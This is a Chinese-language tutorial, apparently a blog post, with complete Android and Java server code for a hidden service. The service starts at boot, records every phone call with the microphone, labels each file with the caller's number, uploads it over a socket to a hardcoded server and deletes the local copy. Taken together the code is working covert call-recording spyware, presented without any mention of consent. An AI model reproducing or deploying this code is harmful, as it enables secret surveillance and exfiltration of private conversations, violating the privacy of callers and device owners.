Step 1 :新建一个Android工程,命名为PhoneListenerService,本服务不需要界面  Step 2:主控制程序PhoneService.java代码如下: [java] view plaincopy
- package cn.roco.phonelistener;
-
- import java.io.File;
- import java.io.OutputStream;
- import java.io.PushbackInputStream;
- import java.io.RandomAccessFile;
- import java.net.Socket;
-
- import cn.roco.phonelistener.utils.StreamTool;
-
- import android.app.Service;
- import android.content.Context;
- import android.content.Intent;
- import android.media.MediaRecorder;
- import android.os.Environment;
- import android.os.IBinder;
- import android.telephony.PhoneStateListener;
- import android.telephony.TelephonyManager;
-
- public class PhoneService extends Service {
-
- @Override
- public IBinder onBind(Intent intent) {
- return null;
- }
-
- @Override
- public void onCreate() {
- super.onCreate();
- TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); //取得电话相关服务
- telephonyManager.listen(new PhoneListener(),
- PhoneStateListener.LISTEN_CALL_STATE);
- }
-
- private final class PhoneListener extends PhoneStateListener {
- private String incomingNumber;
- private MediaRecorder mediaRecorder;
- private File file;
- /**
- * 回调函数
- */
- @Override
- public void onCallStateChanged(int state, String incomingNumber) {
- try {
- switch (state) {
- case TelephonyManager.CALL_STATE_RINGING:// 来电
- this.incomingNumber = incomingNumber;
- break;
-
- case TelephonyManager.CALL_STATE_OFFHOOK:// 接通电话
- file = new File(Environment.getExternalStorageDirectory(),
- incomingNumber + System.currentTimeMillis()
- + ".3gp");
- mediaRecorder = new MediaRecorder();
- // 从麦克风采集声音
- mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
- // 内容输出格式
- mediaRecorder
- .setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
- // 音频编码方式
- mediaRecorder
- .setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
- // 输出文件位置
- mediaRecorder.setOutputFile(file.getAbsolutePath());
- // 预期准备
- mediaRecorder.prepare();
- // 开始刻录音频
- mediaRecorder.start();
- break;
-
- case TelephonyManager.CALL_STATE_IDLE:// 挂断电话后回归到空闲状态
- if (mediaRecorder != null) {
- // 停止刻录
- mediaRecorder.stop();
- // 刻录完成一定要释放资源
- mediaRecorder.release();
- mediaRecorder = null;
- // 上传录制好的音频文件
- uploadFile();
- }
- break;
- }
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
-
- /**
- * 上传录制好的音频文件
- */
- private void uploadFile() {
- new Thread(new Runnable() {
- @Override
- public void run() {
- try {
- if (file != null && file.exists()) {
- Socket socket = new Socket("192.168.1.100", 7878);
- OutputStream outStream = socket.getOutputStream();
- String head = "Content-Length=" + file.length()
- + ";filename=" + file.getName()
- + ";sourceid=\r\n";
- outStream.write(head.getBytes());
-
- PushbackInputStream inStream = new PushbackInputStream(
- socket.getInputStream());
- String response = StreamTool.readLine(inStream);
- String[] items = response.split(";");
- String position = items[1].substring(items[1]
- .indexOf("=") + 1);
-
- RandomAccessFile fileOutStream = new RandomAccessFile(
- file, "r");
- fileOutStream.seek(Integer.valueOf(position));
- byte[] buffer = new byte[1024];
- int len = -1;
- while ((len = fileOutStream.read(buffer)) != -1) {
- outStream.write(buffer, 0, len);
- }
- fileOutStream.close();
- outStream.close();
- inStream.close();
- socket.close();
- file.delete();
- file = null;
- }
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }).start();
- }
- }
- }
Step 3 :工具类StreamTool.java代码如下: [java] view plaincopy
- package cn.roco.phonelistener.utils;
-
- import java.io.ByteArrayOutputStream;
- import java.io.File;
- import java.io.FileOutputStream;
- import java.io.IOException;
- import java.io.InputStream;
- import java.io.PushbackInputStream;
-
- public class StreamTool {
-
- public static void save(File file, byte[] data) throws Exception {
- FileOutputStream outStream = new FileOutputStream(file);
- outStream.write(data);
- outStream.close();
- }
-
- public static String readLine(PushbackInputStream in) throws IOException {
- char buf[] = new char[128];
- int room = buf.length;
- int offset = 0;
- int c;
- loop: while (true) {
- switch (c = in.read()) {
- case -1:
- case '\n':
- break loop;
- case '\r':
- int c2 = in.read();
- if ((c2 != '\n') && (c2 != -1))
- in.unread(c2);
- break loop;
- default:
- if (--room < 0) {
- char[] lineBuffer = buf;
- buf = new char[offset + 128];
- room = buf.length - offset - 1;
- System.arraycopy(lineBuffer, 0, buf, 0, offset);
-
- }
- buf[offset++] = (char) c;
- break;
- }
- }
- if ((c == -1) && (offset == 0))
- return null;
- return String.copyValueOf(buf, 0, offset);
- }
-
- /**
- * 读取流
- *
- * @param inStream
- * @return 字节数组
- * @throws Exception
- */
- public static byte[] readStream(InputStream inStream) throws Exception {
- ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
- byte[] buffer = new byte[1024];
- int len = -1;
- while ((len = inStream.read(buffer)) != -1) {
- outSteam.write(buffer, 0, len);
- }
- outSteam.close();
- inStream.close();
- return outSteam.toByteArray();
- }
- }
Step 4 :编写开机启动的广播BootBroadcastReceiver.java 调用上面的PhoneService [java] view plaincopy
- package cn.roco.phonelistener;
-
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
-
- public class BootBroadcastReceiver extends BroadcastReceiver {
-
- /**
- * 开机就启动PhoneService服务
- */
- @Override
- public void onReceive(Context context, Intent intent) {
- Intent service=new Intent(context,PhoneService.class);//显示、隐式
- context.startService(service);
- }
-
- }
Step 5:配置AndroidManifest.xml [html] view plaincopy
- <?xml version="1.0" encoding="utf-8"?>
- <manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="cn.roco.phonelistener" android:versionCode="1"
- android:versionName="1.0">
- <uses-sdk android:minSdkVersion="8" />
-
- <!-- 电话状态监听权限 -->
- <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
- <!-- SD卡中写入数据权限 -->
- <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
- <!-- 在SD卡中创建和删除文件权限 -->
- <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
- <!-- 音频刻录权限 -->
- <uses-permission android:name="android.permission.RECORD_AUDIO"/>
- <!-- 访问internet权限 -->
- <uses-permission android:name="android.permission.INTERNET"/>
-
- <application android:icon="@drawable/icon" android:label="@string/app_name">
- <service android:name="PhoneService" />
- <!-- 开机启动的广播 -->
- <receiver android:name="BootBroadcastReceiver">
- <intent-filter>
- <action android:name="android.intent.action.BOOT_COMPLETED"/>
- </intent-filter>
- </receiver>
- </application>
-
-
-
- </manifest>
Step 6:因为是通过socket上传文件到服务器,下面写服务器的主要代码FileService.java [java] view plaincopy
- package cn.itcast.net.server;
-
- import java.io.File;
- import java.io.FileInputStream;
- import java.io.FileOutputStream;
- import java.io.IOException;
- import java.io.OutputStream;
- import java.io.PushbackInputStream;
- import java.io.RandomAccessFile;
- import java.net.ServerSocket;
- import java.net.Socket;
- import java.text.SimpleDateFormat;
- import java.util.Date;
- import java.util.HashMap;
- import java.util.Map;
- import java.util.Properties;
- import java.util.concurrent.ExecutorService;
- import java.util.concurrent.Executors;
-
- import cn.itcast.utils.StreamTool;
-
- public class FileServer {
-
- private ExecutorService executorService;//线程池
- private int port;//监听端口
- private boolean quit = false;//退出
- private ServerSocket server;
- private Map<Long, FileLog> datas = new HashMap<Long, FileLog>();//存放断点数据
-
- public FileServer(int port){
- this.port = port;
- //创建线程池,池中具有(cpu个数*50)条线程
- executorService = Executors.newFixedThreadPool(Runtime.getRuntime().availableProcessors() * 50);
- }
- /**
- * 退出
- */
- public void quit(){
- this.quit = true;
- try {
- server.close();
- } catch (IOException e) {
- }
- }
- /**
- * 启动服务
- * @throws Exception
- */
- public void start() throws Exception{
- server = new ServerSocket(port);
- while(!quit){
- try {
- Socket socket = server.accept();
- //为支持多用户并发访问,采用线程池管理每一个用户的连接请求
- executorService.execute(new SocketTask(socket));
- } catch (Exception e) {
- // e.printStackTrace();
- }
- }
- }
-
- private final class SocketTask implements Runnable{
- private Socket socket = null;
-
- public SocketTask(Socket socket) {
- this.socket = socket;
- }
-
- public void run() {
- try {
- System.out.println("accepted connection "+ socket.getInetAddress()+ ":"+ socket.getPort());
- PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());
- //得到客户端发来的第一行协议数据:Content-Length=143253434;filename=xxx.3gp;sourceid=
- //如果用户初次上传文件,sourceid的值为空。
- String head = StreamTool.readLine(inStream);
- System.out.println(head);
- if(head!=null){
- //下面从协议数据中提取各项参数值
- String[] items = head.split(";");
- String filelength = items[0].substring(items[0].indexOf("=")+1);
- String filename = items[1].substring(items[1].indexOf("=")+1);
- String sourceid = items[2].substring(items[2].indexOf("=")+1);
-
- long id = System.currentTimeMillis();//生产资源id,如果需要唯一性,可以采用UUID
- FileLog log = null;
- if(sourceid!=null && !"".equals(sourceid)){
- id = Long.valueOf(sourceid);
- log = find(id);//查找上传的文件是否存在上传记录
- }
-
- File file = null;
- int position = 0;
- if(log==null){//如果不存在上传记录,为文件添加跟踪记录
- String path = new SimpleDateFormat("yyyy/MM/dd/HH/mm").format(new Date());
- File dir = new File("uploadfiles/"+ path);
- if(!dir.exists()) dir.mkdirs();
- file = new File(dir, filename);
- if(file.exists()){//如果上传的文件发生重名,然后进行改名
- filename = filename.substring(0, filename.indexOf(".")-1)+ dir.listFiles().length+ filename.substring(filename.indexOf("."));
- file = new File(dir, filename);
- }
- save(id, file);
- }else{// 如果存在上传记录,读取已经上传的数据长度
- file = new File(log.getPath());//从上传记录中得到文件的路径
- if(file.exists()){
- File logFile = new File(file.getParentFile(), file.getName()+".log");
- if(logFile.exists()){
- Properties properties = new Properties();
- properties.load(new FileInputStream(logFile));
- position = Integer.valueOf(properties.getProperty("length"));//读取已经上传的数据长度
- }
- }
- }
-
- OutputStream outStream = socket.getOutputStream();
- String response = "sourceid="+ id+ ";position="+ position+ "\r\n";
- //服务器收到客户端的请求信息后,给客户端返回响应信息:sourceid=1274773833264;position=0
- //sourceid由服务器端生成,唯一标识上传的文件,position指示客户端从文件的什么位置开始上传
- outStream.write(response.getBytes());
-
- RandomAccessFile fileOutStream = new RandomAccessFile(file, "rwd");
- if(position==0) fileOutStream.setLength(Integer.valueOf(filelength));//设置文件长度
- fileOutStream.seek(position);//指定从文件的特定位置开始写入数据
- byte[] buffer = new byte[1024];
- int len = -1;
- int length = position;
- while( (len=inStream.read(buffer)) != -1){//从输入流中读取数据写入到文件中
- fileOutStream.write(buffer, 0, len);
- length += len;
- Properties properties = new Properties();
- properties.put("length", String.valueOf(length));
- FileOutputStream logFile = new FileOutputStream(new File(file.getParentFile(), file.getName()+".log"));
- properties.store(logFile, null);//实时记录已经接收的文件长度
- logFile.close();
- }
- if(length==fileOutStream.length()) delete(id);
- fileOutStream.close();
- inStream.close();
- outStream.close();
- file = null;
-
- }
- } catch (Exception e) {
- e.printStackTrace();
- }finally{
- try {
- if(socket!=null && !socket.isClosed()) socket.close();
- } catch (IOException e) {}
- }
- }
- }
-
- public FileLog find(Long sourceid){
- return datas.get(sourceid);
- }
- //保存上传记录
- public void save(Long id, File saveFile){
- //日后可以改成通过数据库存放
- datas.put(id, new FileLog(id, saveFile.getAbsolutePath()));
- }
- //当文件上传完毕,删除记录
- public void delete(long sourceid){
- if(datas.containsKey(sourceid)) datas.remove(sourceid);
- }
-
- private class FileLog{
- private Long id;
- private String path;
-
- public Long getId() {
- return id;
- }
- public void setId(Long id) {
- this.id = id;
- }
- public String getPath() {
- return path;
- }
- public void setPath(String path) {
- this.path = path;
- }
- public FileLog(Long id, String path) {
- this.id = id;
- this.path = path;
- }
- }
-
- }
Step 7:启动服务器,监听Socket端口,接收android客户端上传的文件 [java] view plaincopy
- package cn.itcast.net.server;
-
- import java.awt.BorderLayout;
- import java.awt.Frame;
- import java.awt.Label;
- import java.awt.event.WindowEvent;
- import java.awt.event.WindowListener;
-
- public class ServerWindow extends Frame{
- private FileServer s = new FileServer(7878);
- private Label label;
-
- public ServerWindow(String title){
- super(title);
- label = new Label();
- add(label, BorderLayout.PAGE_START);
- label.setText("服务器已经启动");
- this.addWindowListener(new WindowListener() {
- public void windowOpened(WindowEvent e) {
- new Thread(new Runnable() {
- public void run() {
- try {
- s.start();
- } catch (Exception e) {
- }
- }
- }).start();
- }
-
- public void windowIconified(WindowEvent e) {
- }
-
- public void windowDeiconified(WindowEvent e) {
- }
-
- public void windowDeactivated(WindowEvent e) {
- }
-
- public void windowClosing(WindowEvent e) {
- s.quit();
- System.exit(0);
- }
-
- public void windowClosed(WindowEvent e) {
- }
-
- public void windowActivated(WindowEvent e) {
- }
- });
- }
- /**
- * @param args
- */
- public static void main(String[] args) {
- ServerWindow window = new ServerWindow("文件上传服务端");
- window.setSize(300, 300);
- window.setVisible(true);
-
- }
-
- }
Step 8:安装完服务之后,重启模拟器,再通话,运行的具体结果是:在客户端的SD卡中会有记录,在服务器的uploadfiles目录下也会有从客户端上传而来的文件。 (通话中) 通话之前的Socket项目截图如下: Android客户端把通话记录上传之后截图如下:  |
